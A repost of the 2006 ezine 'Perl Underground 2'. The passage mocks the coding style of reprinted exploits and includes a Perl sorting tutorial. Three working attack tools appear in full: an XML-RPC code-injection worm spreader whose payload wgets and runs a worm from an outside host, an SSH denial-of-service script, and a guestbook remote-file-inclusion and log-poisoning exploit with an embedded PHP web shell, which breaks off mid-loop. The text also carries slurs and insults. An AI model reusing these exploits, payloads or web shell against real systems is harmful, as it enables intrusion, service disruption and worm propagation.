[转载][ezine] Perl Underground 2
信息来源：milw0rm.com$$$$$$$$$ @@@@@@@@@@@@@@@@@@$$$$ $$$$
$$$$$$$$$$$ @@@@@@@@@@@@@@@@@@@@@$$$ $$$$
$$$$ $$$$ @@@ $$$$ $$$$ @@@$$ $$$$
$$$$ $$$$ @@@ $$$$ $$$$ $$@@@ $$$$
$$$$ $$$$@@@ $$$$$$$ $$$$ $$$@@@ $$$$
$$$$$$$$$$$@@@ $$$$$$$ $$$$$$$$$$$$@@@$$$$
$$$$$$$$$$@@@ $$$$ $$$$$$$$$$ @@@$$$
$$$$ @@@ $$$$ $$$$ $$$$ @@@$$
$$$$ @@@ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ @@@$$$$$$$$$$$
@@@
@@@
$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ @@@$$$$$$$ $$$$$$$$$$
$$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ @@@$$$$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$$$ $$$$ $$$$ $$@@@ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$ $$$$ $$$$ $@@@ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ @@@$$ $$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$$ $$$$ @@@$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$ $$$$@@@ $$$ $$$$ $$$$ $$$$
$$$$$$$$$$$$$ $$$$ $$$$$ $$@@@ $$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$$$ $$$$ $$$$ $@@@$$$$$ $$$$$$$$$$$ $$$$ $$$$
@@@
@@@
$$$$$$$$$ $$$$$$$$$$ $$$$$$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$@@@$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ @@@$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ @@@ $$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$ $$$$$$$$$$$$ $$$@@@ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$$$$$ $@@@ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ @@@$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
$$$$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$$ $$$$$ $$$$$$$$$$$$
$$$$$$$$ $$$$ $$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$ $$$$ $$$$$$$$$$$
[[email]root@yourbox.anyw[/email]here]$ cat info.txt
Perl Underground 2: Judgement Day
That's right. We came back and we came back with style. Chasing around
the underground. More bad code, more good code, more insults, more talk,
more of something for the whole family!
[[email]root@yourbox.anyw[/email]here]$ date
Mon Apr 17 20:19:37 EDT 2006
[[email]root@yourbox.anyw[/email]here]$ perl Dumper-me.pl
$Chapter1 = { TITLE => 'TOC' };
$Chapter2 = { TITLE => 'Send in your application' };
$Chapter3 = { TITLE => 'uc cdej ne ucfirst perl' };
$Chapter4 = { TITLE => 'School You: Abigail' };
$Chapter5 = { TITLE => 'str0ke ch0kes' };
$Chapter6 = { TITLE => 'School You: japhy' };
$Chapter7 = { TITLE => 'Go back to PHP' };
$Chapter8 = { TITLE => 'Wait: PHP SUCKS' };
$Chapter9 = { TITLE => 'School You: MJD' };
$Chapter10 = { TITLE => 'Who are these losers?' };
$Chapter11 = { TITLE => 'School You: davorg' };
$Chapter12 = { TITLE => 'Shit on you athias' };
$Chapter13 = { TITLE => 'Intermission' };
$Chapter14 = { TITLE => 'School You: Limbic~Region' };
$Chapter15 = { TITLE => 'rape skape' };
$Chapter16 = { TITLE => 'To envision a stack' };
$Chapter17 = { TITLE => 'School You: merlyn' };
$Chapter18 = { TITLE => 'Metajoke some Metasploit' };
$Chapter19 = { TITLE => 'School You: broquaint' };
$Chapter20 = { TITLE => 'Elementary, Watson' };
$Chapter21 = { TITLE => 'School You: Grandfather' };
$Chapter22 = { TITLE => 'krissy gonna cry' };
$Chapter23 = { TITLE => 'We found nemo' };
$Chapter24 = { TITLE => 'Manifesto' };
$Chapter25 = { TITLE => 'Shoutz and Outz' };
[[email]root@yourbox.anyw[/email]here]$ perl get-it-started.pl
-[0x01] # Send in Your Application ---------------------------------------
Perl Underground is now viewing applications! We have two positions
available.
Whipping Boy: AKA I think I can code and I'm hot shit and I want in!
and
Whipping Boy: AKA I think I can code and I'm hot shit and I want you to
rip me apart!
Both positions require an example of your best code, as well as a
narrative describing how you are hot shit.
Resumes not wanted!
Send your application to: us.
Perl Underground maintains a policy of not providing an e-mail address
to the public. Regardless, being that you are hot shit, there is an
expectation that you will get your application to us some way or
another. Remember, we are watching. If nothing else, we can be
contacted through a Google indexed page with the key phrase "I went to
Perl Underground and all I got was this lousy flamewar". You would
lose points for originality, or a lack of.
-[0x02] # uc cdej ne ucfirst perl ----------------------------------------
#!/usr/bin/perl -w
# -w is so 1996
# get your strict UP IN HERE
use LWP::UserAgent;
$brws = new LWP::UserAgent;
$brws->agent("Internet Explorer 6.0");
%h = ();
# cause you sure need that
$cmd="cd /tmp;wget [url]www.corestorm.com/worm;mv[/url] worm bash;./bash";
# why don't you use a quote operator other than ", you ignoramous!
@yayarray = ("inurl:adimage.php", "inurl:adimage.php \"de\"",
"inurl:adimage.php \"ru\"", "inurl:adimage.php \"fr\"",
"inurl:adimage.php \"fi\"", "inurl:adimage.php \"pl\"",
"inurl:adframe.php", "inurl:adframe.php \"de\"",
"inurl:adframe.php \"ru\"", "inurl:adframe.php \"fr\"",
"inurl:adframe.php \"fi\"", "inurl:adframe.php \"pl\"",
"inurl:adjs.php", "inurl:adjs.php \"de\"",
"inurl:adjs.php \"ru\"", "inurl:adjs.php \"fr\"",
"inurl:adjs.php \"fi\"", "inurl:adjs.php \"pl\"",
"inurl:adclick.php", "inurl:adclick.php \"de\"",
"inurl:adclick.php \"ru\"", "inurl:adclick.php \"fr\"",
"inurl:adclick.php \"fi\"", "inurl:adclick.php \"pl\"");
foreach $line (@yayarray) {
# I sense a disturbance in the force
open(F, "lynx -dump \"[url]http://www.google.com[/url]\/search?hl=us&lr=&q=$line\"|") || die "$!";
open(F, "google.sucks") || die "$!";
# who taught you regex?
# my ($php) = $line =~ /:([^.]+)\.php/;
# observe the list context
# observe the single expression
# observe the non-redundant regex
# observe the lack of reliance on .*
if($line =~ /^.*\:(.*?.php).*/) { $php = "$1"; }
# come on, why do you do ^.* at the beginning and .* at the end
# you don't need to match every aspect of a string
# the Perl regex engine is ok with data existing before and after the match
# you don't need to tell it that
# you tell it the opposite, you anchor if you want nothing before or after
# and whats with the stupid quoting
# whats with it ALL
# what were you thinking?
while(<F>) {
# less resource intensive to separate the options
# but that is a personal choice
# next if /cache/;
# next if /search/;
# not to mention you could avoid regex altogether with index
# if you cared
if(/cache|search/) { next; }
if(/^.*?\d+.*?(http:\/\/.*?)\/$php.*/) {
# ok, what the fuck. get out. just...out.
# repeat everything above, just WORSE
$h{$1}++;
}
}
}
foreach $line (sort keys %h) {
print "Found host: $line. Exploiting...\n";
# we don't call subs like this. you remember C don't you?
# where & is an address reference operater? right?
# did you ever try: exp($line); ? Wouldn't that be more obvious?
&exp($line);
}
# what the fuck is this. defined parameters in Perl?
# next thing I know you'll be using prototypes
sub exp($host) {
# local. hah hah. that doesn't belong here! as your zine says, "that's so 1996!"
# get with the times. my.
local($host) = @_;
# one line it: die "$!: Did not receive \$host" unless $host;
# don't you realize you won't have a $! here, ever?
# did you ever test this? do you know what $! is?
# or better yet, remove the line entirely!
# my ($host) = @_ or die "Did not receive \$host";
# omg control flow
if ( !$host ) {
die("$!: Did not receive \$host.");
}
# $host is a scalar of one item, and contiues to exist
while ( $host ) {
$data = "<?xmlversion=\"1.0\"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$cmd'); die;/*</name></value></param></params></methodCall>";
$send = new HTTP::Request POST => $host;
$send->content($data);
$gots = $brws->request($send);
$show = $gots->content;
# this regex is horrible
if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is ) {
# why is there a $1 if you never use it?
# maybe because YOU RANDOMLY CAPTURED SOMETHING
print $2 . "\n";
} else {
print "$show\n";
}
}
}
# I ponder whether anyone will recognize this code.
# CDEJ isn't a good read, I expect the readers just browse past the code
-[0x03] # School You: Abigail --------------------------------------------
# Feel the love
#!/usr/bin/perl
use strict;
use warnings 'all';
use re 'eval';
my $nr_of_queens = $ARGV [0] || 8;
my $nr_of_rows = $nr_of_queens;
my $nr_of_cols = $nr_of_queens;
sub attack {
my ($q1, $q2) = @_;
my ($q1x, $q1y, $q2x, $q2y) = (@$q1, @$q2);
$q1x == $q2x || $q1y == $q2y || abs ($q1x - $q2x) == abs ($q1y - $q2y);
}
my $regex;
foreach my $queen (1 .. $nr_of_queens) {
local $" = "|\n ";
my @tmp_r;
foreach my $row (1 .. $nr_of_rows) {
push @tmp_r => "(?{local \$q [$queen] [0] = $row})";
}
$regex .= "(?:@tmp_r)\n";
my @tmp_c;
foreach my $col (1 .. $nr_of_cols) {
push @tmp_c => "(?{local \$q [$queen] [1] = $col})";
}
$regex .= "(?:@tmp_c)\n";
foreach my $other_queen (1 .. $queen - 1) {
$regex .= "(?(?{attack \$q [$other_queen], \$q [$queen]})x|)\n";
}
$regex .= "\n";
}
$regex .= "\n";
$regex .= "(?{\@sig = sort map {chr (ord ('a') + \$_ -> [0] - 1) . \$_ -> [1]}"
. " \@q [1 .. $nr_of_queens];})\n";
$regex .= "(?{print qq !\@sig\n!})";
"" =~ /$regex/x;
-[0x04] # str0ke ch0kes --------------------------------------------------
#!/usr/bin/perl
# hello there str0ke. cute little script
# sorry to hear about your problems with the more elite
# that's the price you pay for the risk of your position
use IO::Socket;
use Thread;
use strict;
my $serv = $ARGV[0];
my $port = $ARGV[1];
my $time = $ARGV[2];
# my ($serv, $port, $time) = @ARGV;
sub usage
{
print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
print "by /str0ke (milw0rm.com)\n";
print "Credits to Pablo Fernandez\n";
print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
exit ();
# everyone has a different weird way of calling exit(). exit; exit(); exit ();
}
sub exploit
{
my ($serv, $port, $sleep) = @_;
# there you go! surprisingly like some code above..
my $sock = new IO::Socket::INET ( PeerAddr => $serv,
PeerPort => $port,
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
# or die "blah", its the way to go!
sleep $sleep;
close($sock);
}
sub thread {
my $i=1;
print "Server: $serv\nPort: $port\nSeconds: $time\n";
# ever heard of for loops? we have them for this!
# there was this kid in a beginner's c++ class I once taught
# he only used do-while loops, because he was afraid of for loop syntax
# and while was just too straight forward for him
# are you that kid? is for just too complex for you?
# moron
# for my $i ( 1 .. 51 )
while($i < 51){
print ".";
my $thr = new Thread \&exploit, $serv, $port, $time;
$i++;
}
sleep $time; #detach wouldn't be good
}
if (@ARGV != 3){&usage;}else{&thread;}
# eww. just eww. go back to Perl 4.
# actually, Perl 4 wouldn't do that
# Go back to C. or something.
# no wonder so many lame exploits end up on your site
-[0x05] # School You: japhy ----------------------------------------------
NAME
Resorting to Sorting
SYNOPSIS
A guide to using Perl's sort() function to sort data in numerous ways.
Topics covered include the Orcish maneuver, the Schwartzian Transform,
the Guttman-Rosler Transform, radix sort, and sort-by-index.
DESCRIPTION
Sorting data is a common procedure in programming -- there are
efficient and inefficient ways to do this. Luckily, in Perl, the sort()
function does the dirty work; Perl's sorting is handled internally by a
combination of merge-sort and quick-sort. However, sorting is done, by
default, on strings. In order to change the way this is done, you can
supply a piece of code to the sort() function that describes the
machinations to take place.
We'll examine all differents sorts of sorts; some have been named after
programmers you may have heard of, and some have more descriptive
names.
CONTENT
Table of Contents
Naïve Sorting
Poor practices that cause Perl to do a lot more work than necessary.
The Orcish Maneuver
Joseph Hall's implementation of "memoization" in sorting.
Radix Sort
A multiple-pass method of sorting; the time it takes to run is linearly
proportional to the size of the largest element.
Sorting by Index
When multiple arrays must be sorted in parallel, save yourself trouble
and sort the indices.
Schwartzian Transforms
Wrapping a sort() in between two map()s -- one to set up a data
structure, and the other to extract the original information -- is a
nifty way of sorting data quickly, when expensive function calls need
to be kept to a minimum.
Guttman-Rosler Transforms
It's far simpler to let sort() sort as it will, and to format your data
as something meaningful to the string comparisons sort() makes.
Portability
By giving sorting functions a prototype, you can make sure they work
from anywhere!
Naïve Sorting
Ordinarily, it's not a difficult task to sort things. You merely pass
the list to sort(), and out comes a sorted list. Perl defaults to using
a string comparison, offered by the cmp operator. This operator
compares two scalars in ASCIIbetical order -- that means "1" comes
before "A", which comes before "^", which comes before "a". For a
detailed list of the order, see your nearest ascii(1) man page.
To sort numerically, you need to supply sort() that uses the numerical
comparison operator (dubbed the "spaceship" operator), <=>:
@sorted = sort { $a <=> $b } @numbers; # ascending order
@sorted = sort { $b <=> $a } @numbers; # descending order
There are two special variables used in sorting -- $a and $b. These
represent the two elements being compared at the moment. The sorting
routine can take a block (or a function name) to use in deciding which
order the list is to be sorted in. The block or function should return
-1 if $a is to come before $b, 0 if they are the same (or, more
correctly, if their position in the sorted list could be the same), and
1 if $a is to come after $b.
Sorting, by default, is like:
@sorted = sort { $a cmp $b } @unsorted;
That is, ascending ASCIIbetical sorting. You can leave out the block in
that case:
@sorted = sort @unsorted;
Now, if we had a list of strings, and we wanted to sort them, in a
case-insensitive manner. That means, we want to treat the strings as if
they were all lower-case or upper-case. We could do something like:
@sorted = sort { lc($a) cmp lc($b) } @unsorted;
# or
@sorted = sort { uc($a) cmp uc($b) } @unsorted;
Note: There is a difference between these two sortings. There are some
punctuation characters that come after upper-case letters and before
lower-case characters. Thus, strings that start with such characters
would be placed differently in the sorted list, depending on whether we
use lc() or uc().
Now, this method of sorting is fine for small lists, but the lc() (or
uc()) function is called twice for each comparison. This might not seem
bad, but think about the consequences of performing massive
calculations on your data:
sub age_or_name {
my ($name_a, $age_a) = split /_/ => $a;
my ($name_b, $age_b) = split /_/ => $b;
return ($age_a <=> $age_b or $name_a cmp $name_b);
}
@people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 );
@sorted = sort age_or_name @people;
# @sorted is now
# qw( Jon_14 Tim_14 Ray_18 Greg_19 Jeff_19 Joan_20 )
This gets to be tedious. There's obviously too much work being done. We
should only have to split the strings once.
Exercises
Create a sorting subroutine to sort by the length of a string, or, if
needed, by its first five characters.
@sorted = sort { ... } @strings;
Sort the following data structure by the value of the key specified by
the "cmp" key:
@nodes = (
{ id => 17, size => 300, keys => 2, cmp => 'keys' },
{ id => 14, size => 104, keys => 9, cmp => 'size' },
{ id => 31, size => 2045, keys => 43, cmp => 'keys' },
{ id => 28, size => 6, keys => 0, cmp => 'id' },
);
The Orcish Maneuver
This method of speeding up sorting comparisons was named by Joseph
Hall. It uses a hash to cache values of the complex calculations you
need to make:
{
my %cache; # cache hash is only seen by this function
sub age_or_name {
my $data_a =
($cache{$a} ||= [ split /_/ => $a ]);
my $data_b =
($cache{$b} ||= [ split /_/ => $b ]);
return (
$data_a->[1] <=> $data_b->[1]
or
$data_a->[0] <=> $data_b->[0]
);
}
}
@people = qw( Jeff_19 Jon_14 Ray_18 Tim_14 Joan_20 Greg_19 );
@sorted = sort age_or_name @people;
This procedure here uses a hash of array references to store the name
and age for each person. The first time a string is used in the sorting
subroutine, it doesn't have an entry in the %cache hash, so the || part
is used.
That is where this gets its name -- it is the OR-cache manuever, which
can be lovingly pronounced "orcish".
The main structure of Orcish sorting is:
{
my %cache;
sub function {
my $data_a = ($cache{$a} ||= mangle($a));
my $data_b = ($cache{$b} ||= mangle($b));
# compare as needed
}
}
where mangle() is some function that does the necessary calculations on
the data.
Exercises
Why should you make the caching hash viewable only by the sorting
function? And how is this accomplished?
Use the Orcish Manuever to sort a list of strings in the same way as
described in the first exercise from "Naïve Sorting".
Radix Sort
If you have a set of strings of constant width (or that can easily be
made in constant width), you can employ radix sort. This method gets
around calling Perl's sort() function altogether.
The concept of radix sort is as follows. Assume you have N strings of k
characters in length, and each character can have one of x values (for
ASCII, x is 256). We then create x "buckets", and each bucket can hold
at most N strings.
Here is a sample list of data for N = 7, k = 4, and x = 256: john,
bear, roar, boat, vain, vane, zany.
We then proceed to place each string into the bucket corresponding to
the ASCII value of its rightmost character. If we were then to print
the contents of the buckets after this first placement, our sample list
would look like: vane, john vain bear roar boat zany.
Then, we use the character immediately to the left of the one just
used, and put the strings in the buckets accordingly. This is done in
the order in which they are found in the buckets. The new list is:
bear, roar, boat, john, vain, vane, zany.
On the next round, the list becomes: vain, vane, zany, bear, roar,
boat, john.
On the final round, the list is: bear, boat, john, roar, vain, vane,
zany.
This amount of time this sorting takes is constant, and easily
calculated. If we assume that all the data is the same length, then we
take N strings, and multiply that by k characters. The algorithm also
uses some extra space for storing the strings -- it needs an extra Nk
bytes. If the data needs to be padded, there is some extra time
involved (if a character is undefined, it is set as a NUL ("\0")).
Here is a radix implementation. It returns the list it is given in
ASCIIbetical order, like sort @list would.
# sorts in-place (meaning @list gets changed)
# set $unknown to true to indicate variable length
radix_sort(\@list, $unknown);
sub radix_sort {
my ($data, $k) = @_;
$k = !!$k; # turn any true value into 1
if ($k) { $k < length and $k = length for @$data }
else { $k = length $data->[0] }
while ($k--) {
my @buckets;
for (@$data) {
my $c = substr $_, $k, 1; # get char
$c = "\0" if not defined $c;
push @{ $buckets[ord($c)] }, $_;
}
@$data = map @$_, @buckets; # expand array refs
}
}
You'll notice the first argument to this function is an array
reference. By doing this, we save copying a potentially large list,
thus taking up less space, and running faster. If, for beauty reasons,
you'd prefer not to backslash your array, you could use prototypes:
sub radix_sort (\@;$);
radix_sort @list, $unknown;
sub radix_sort (\@;$) {
# ...
}
You could combine the declaration and the definition of the function,
but the prototype must be seen before the function call.
Exercises
Why does radix sort start with the right-most character in a string?
Does the order of the elements in the input list effect the run-time of
this sorting algorithm? What happens if the elements are already
sorted? Or in the reverse sorted order?
Sorting by Index
Given the choice between sorting three lists and sorting one list,
you'd choose sorting one list, right? Good. This, then, is the strategy
employed when you sort by index. If you have three arrays that hold
different information, yet for a given index, the elements are all
related -- we say these arrays hold data in parallel -- then it seems
far too much work to sort all three arrays.
@names = qw( Jeff Jon Ray Tim Joan Greg );
@ages = qw( 19 14 18 14 20 19 );
@gender = qw( m m m m f m );
Here, all the data at index 3 ("Tim", 14, "m") is related, as it is for
any other index. Now, if we wanted to sort these arrays so that this
relationship stood, but the lists were sorted in terms of age and then
by name, then we would like our data to look like:
@names = qw( Jon Tim Ray Greg Jeff Joan );
@ages = qw( 14 14 18 19 19 20 );
@gender = qw( m m m m m f );
But to actually sort these lists requires 3 times the effort. Instead,
we will sort the indices of the arrays (from 0 to 5). This is the
function we will use:
sub age_or_name {
return (
$ages[$a] <=> $ages[$b]
or
$names[$a] cmp $names[$b]
)
}
And here it is in action:
@idx = sort age_or_name 0 .. $#ages;
print "@ages\n"; # 19 14 18 14 20 19
print "@idx\n"; # 1 3 2 5 0 4
print "@ages[@idx]\n"; # 14 14 18 19 19 20
As you can see, the array isn't touched, but the indices are given in
such an order that fetching the elements of the array in that order
yields sorted data.
Note: the $#ages variable is related to the @ages array -- it holds the
highest index used in the array, so for an array of 6 elements, $#array
is 5.
Schwartzian Transforms
A common (and rather popular) idiom in Perl programming is the
Schwartzian Transform, an approach which is like "you set 'em up, I'll
knock 'em down!" It uses the map() function to transform the incoming
data into a list of simple data structures. This way, the machinations
done to the data set are only done once (as in the Orcish Manuever).
The general appearance of the transform is like so:
@sorted =
map { get_original_data($_) }
sort { ... }
map { transform_data($_) }
@original;
They are to be read in reverse order, since the first thing done is the
map() that transforms the data, then the sorting, and then the map() to
get the original data back.
Let's say you had lines of a password file that were formatted as:
username:password:shell:name:dir
and you wanted to sort first by shell, then by name, and then by
username. A Schwartzian Transform could be used like this:
@sorted =
map { $_->[0] }
sort {
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
map { [ $_, split /:/ ] }
@entries;
We'll break this down into the individual parts.
Step 1. Transform your data.
We create a list of array references; each reference holds the original
record, and then each of the fields (as separated by colons).
@transformed = map { [ $_, split /:/ ] } @entries;
That could be written in a for-loop, but understanding map() is a
powerful tool in Perl.
for (@entries) {
push @transformed, [ $_, split /:/ ];
}
Step 2. Sort your data.
Now, we sort on the needed fields. Since the first element of our
references is the original string, the username is element 1, the name
is element 4, and the shell is element 3.
@transformed = sort {
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
} @transformed;
Step 3. Restore your original data.
Finally, get the original data back from the structure:
@sorted = map { $_->[0] } @transformed;
And that's all there is to it. It may look like a daunting structure,
but it is really just three Perl statements strung together.
Guttman-Rosler Transforms
Perl's regular sorting is very fast. It's optimized. So it'd be nice to
be able to use it whenever possible. That is the foundation of the
Guttman-Rosler Transform, called the GRT, for short.
The frame of a GRT is:
@sorted =
map { restore($_) }
sort
map { normalize($_) }
@original;
An interesting application of the GRT is to sort strings in a
case-insensitive manner. First, we have to find the longest run of NULs
in all the strings (for a reason you'll soon see).
my $nulls = 0;
# find length of longest run of NULs
for (@original) {
for (/(\0+)/g) {
$nulls = length($1) if length($1) > $nulls;
}
}
$NUL = "\0" x ++$nulls;
Now, we have a string of nulls, whose length is one greater than the
largest run of nulls in the strings. This will allow us to safely
separate the lower-case version of the strings from the original
strings:
# "\L...\E" is like lc(...)
@normalized = map { "\L$_\E$NUL$_" } @original;
Now, we can just send this to sort.
@sorted = sort @normalized;
And then to get back the data we had before, we split on the nulls:
@sorted = map { (split /$NUL/)[1] } @original;
Putting it all together, we have:
# implement our for loop from above
# as a function
$NUL = get_nulls(\@original);
@sorted =
map { (split /$NUL/)[1] }
sort
map { "\L$_\E$NUL$_" }
@original;
The reason we use the NUL character is because it has an ASCII value of
0, so it's always less than or equal to any other character. Another
way to approach this is to pad the string with nulls so they all become
the same length:
# see Exercise 1 for this function
$maxlen = maxlen(\@original);
@sorted =
map { substr($_, $maxlen) }
sort
map { lc($_) . ("\0" x ($maxlen - length)) . $_ }
@original;
Common functions used in a GRT are pack(), unpack(), and substr(). The
goal of a GRT is to make your data presentable as a string that will
work in a regular comparison.
Exercises
Write the maxlen() function for the previous chunk of code.
Portability
You can make a function to be used by sort() to avoid writing
potentially messy sorting code inline. For example, our Schwartzian
Transform:
@sorted =
{
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
However, if you want to declare that function in one package, and use
it in another, you run into problems.
#!/usr/bin/perl -w
package Sorting;
sub passwd_cmp {
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
sub case_insensitive_cmp {
lc($a) cmp lc($b)
}
package main;
@strings = sort Sorting::case_insensitive_cmp
qw( this Mine yours Those THESE nevER );
print "<@strings>\n";
__END__
<this Mine yours Those THESE nevER>
This code doesn't change the order of the strings. The reason is
because $a and $b in the sorting subroutine belong to Sorting::, but
the $a and $b that sort() is making belong to main::.
To get around this, you can give the function a prototype, and then it
will be passed the two arguments.
#!/usr/bin/perl -w
package Sorting;
sub passwd_cmp ($$) {
local ($a, $b) = @_;
$a->[3] cmp $b->[3]
or
$a->[4] cmp $b->[4]
or
$a->[1] cmp $b->[1]
}
sub case_insensitive_cmp ($$) {
local ($a, $b) = @_;
lc($a) cmp lc($b)
}
package main;
@strings = sort Sorting::case_insensitive_cmp
qw( this Mine yours Those THESE nevER );
print "<@strings>\n";
__END__
<Mine nevER THESE this Those yours>
-[0x06] # Go back to PHP -------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
# about time you wrote something with a bit of size
print "guestbook script <= 1.7 exploit\r\n";
print "rgod rgod\@autistici.org\r\n";
print "dork: \"powered by guestbook script\"\r\n\r\n";
# misplaced and large commenting REMOVED
# interesting placement of this sub
sub main::urlEncode {
# sub main::urlEncode looks so much more elite than sub urlEncode
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
# did you really need a sub at all?
# is the unpack line really much too complex?
# considering that's ALL you end up doing
}
if (@ARGV < 4)
{
print "Usage:\r\n";
print "perl gbs_17_xpl.pl SERVER PATH ACTION[FTP LOCATION] COMMAND\r\n\r\n";
print "SERVER - Server where Guestbook Script is installed.\r\n";
print "PATH - Path to Guestbook Script (ex: /gbs/ or just /)\r\n";
print "ACTION - 1[nothing]\r\n";
print " (tries to include apache error.log file)\r\n\r\n";
print " 2[ftp site with the code to include]\r\n\r\n";
print "COMMAND - A shell command (\"cat config.php\"\r\n";
print " to see database username & password)\r\n\r\n";
print "Example:\r\n";
print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 1 cat config.php\r\n";
print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 2ftp://username:password\@192.168.1";
print ".3/suntzu.php ls -la\r\n\r\n";
print "Note: to launch action [2] you need this code in suntzu.php :\r\n";
print "<?php\r\n";
print "ob_clean();\r\n";
print "echo 666;\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[cmd]=stripslashes(\$_GET[cmd]);}\r\n";
print "passthru(\$_GET[cmd]);\r\n";
print "echo 666;\r\n";
print "die;\r\n";
print "?>\r\n\r\n";
# stop that. Use some form of quote operator, like qq or heredocs
exit();
# I really start to wonder what the obsession with parens is
}
$serv=$ARGV[0];
$path=$ARGV[1];
# shift it, shift it GOOD
# and don't try to tell me the following wouldn't work with a shift
# or do, I'll just laugh at you
$ACTION=urlEncode($ARGV[2]);
# must this be caps? we try to save those for defined constants
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
# worse than: undef $cmd
# worse than: my $cmd;
# let me introduce you to a Perl for-statement
# for my $i (3 .. $#ARGV) { doshit(); domoreshit(); }
$temp=substr($ACTION,0,1);
if ($temp==2) { #this works with PHP5 and allow_url_fopen=On
$FTP=substr($ACTION,1,length($ACTION));
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
# woo quotes, everyone quotes straight variables SOONER OR LATER
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".$FTP." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
$out="";
# undef, bitch
while ($answer = <$sock>) {
$out.=$answer;
}
# $out .= $answer while $answer = <$sock>;
# or just slurp RIGHT
close($sock);
@temp= split /666/,$out,3;
if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
else {print "\r\nExploit failed...\r\n";}
#ugly ugly formatting job
} elsif ($temp==1) { #this works if path to log files is found and u can have access to them
print "[1] Injecting some code in log files ...\r\n";
$CODE="<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {\$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);echo 666;die;?>";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
# sigh
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path.$CODE." HTTP/1.1\r\n";
print $sock "User-Agent: ".$CODE."\r\n";
print $sock "Host: ".$serv."\r\n";
# why do you interpolate vars when you shouldn't, yet don't when it's convenient?
print $sock "Connection: close\r\n\r\n";
close($sock);
# fill with possible locations
my @paths= (
"/var/log/httpd/access_log", #Fedora, default
"/var/log/httpd/error_log", #...
"../apache/logs/error.log", #Windows
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log", #and so on... collect some log paths, you will succeed
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/error.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/access_log",
"/var/www/logs/error_log",
"/var/www/logs/error.log",
"/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log",
"/var/log/apache/error_log",
"/var/log/apache/error.log",
"/var/log/access_log",
"/var/log/error_log"
);
# ever heard of qw?
for ($i=0; $i<=$#paths; $i++)
{
$a = $i + 2;
# really need to define this don't you?
# just like before, and all SO FUCKING SHITTY, YOU STUPID PHP WHORE
print "[".$a."] trying with ".$paths[$i]."\r\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
